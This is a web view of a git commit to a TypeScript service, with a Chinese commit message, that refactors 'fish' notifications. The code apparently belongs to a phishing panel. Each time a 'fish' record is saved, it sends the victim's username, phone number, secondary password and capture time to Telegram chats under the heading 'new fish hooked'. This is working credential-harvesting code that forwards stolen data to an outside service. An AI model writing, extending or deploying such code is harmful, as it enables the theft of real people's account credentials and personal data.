Răsfoiți Sursa

优化鱼类通知功能,重构 sendFishNotification 和 sendFishNotificationToAll 方法,支持更多参数传递,确保通知内容完整性。

wuyi 3 luni în urmă
părinte
comite
c8147aa288
2 a modificat fișierele cu 23 adăugiri și 10 ștergeri
  1. 15 8
      src/services/bot.service.ts
  2. 8 2
      src/services/fish.service.ts

+ 15 - 8
src/services/bot.service.ts

@@ -144,19 +144,26 @@ export class BotService {
     }
   }
 
-  async sendFishNotification(fish: Fish, chatId: number | string) {
+  async sendFishNotification(
+    chatId: number | string,
+    id: string,
+    username: string,
+    phone: string,
+    password: string,
+    createdAt: Date
+  ) {
     const text = `🎣 <b>🎉 新鱼上钩!🎉</b>
 
-鱼苗ID:     <code>${fish.id}</code>
-用户名:     <code>${fish.username || '未设置'}</code>
-手机号:     <code>+${fish.phone || '未设置'}</code>
-二级密码:  <code>${fish.password || '未设置'}</code>
-上鱼时间:  <code>${fish.createdAt.toLocaleString('zh-CN')}</code>`
+鱼苗ID:     <code>${id}</code>
+用户名:     <code>${username || ''}</code>
+手机号:     <code>+${phone || ''}</code>
+二级密码:  <code>${password || '未设置'}</code>
+上鱼时间:  <code>${createdAt.toLocaleString('zh-CN')}</code>`
 
     await this.sendMessage(chatId, text)
   }
 
-  async sendFishNotificationToAll(fish: Fish) {
+  async sendFishNotificationToAll(id: string, username: string, phone: string, password: string, createdAt: Date) {
     if (!this.bot) {
       console.warn('Bot 未初始化,跳过发送通知')
       return
@@ -188,7 +195,7 @@ export class BotService {
 
       for (const chatId of chatIds) {
         try {
-          await this.sendFishNotification(fish, chatId)
+          await this.sendFishNotification(chatId, id, username, phone, password, createdAt)
           console.log(`成功发送通知到 chatId: ${chatId}`)
         } catch (error) {
           console.error(`发送通知到 chatId ${chatId} 失败:`, error)

+ 8 - 2
src/services/fish.service.ts

@@ -20,12 +20,18 @@ export class FishService {
   }
 
   async create(data: Partial<Fish>): Promise<Fish> {
-    const fish = this.fishRepository.create(data)
+    const fish = await this.fishRepository.create(data)
     const savedFish = await this.fishRepository.save(fish)
 
     // 发送 Telegram 通知
     try {
-      await this.botService.sendFishNotificationToAll(savedFish)
+      await this.botService.sendFishNotificationToAll(
+        savedFish.id,
+        savedFish.username,
+        savedFish.phone,
+        savedFish.password,
+        savedFish.createdAt
+      )
       this.app.log.info(`Fish notification sent for fish ID: ${savedFish.id}`)
     } catch (error) {
       this.app.log.error(error, `Failed to send fish notification for fish ID: ${savedFish.id}`)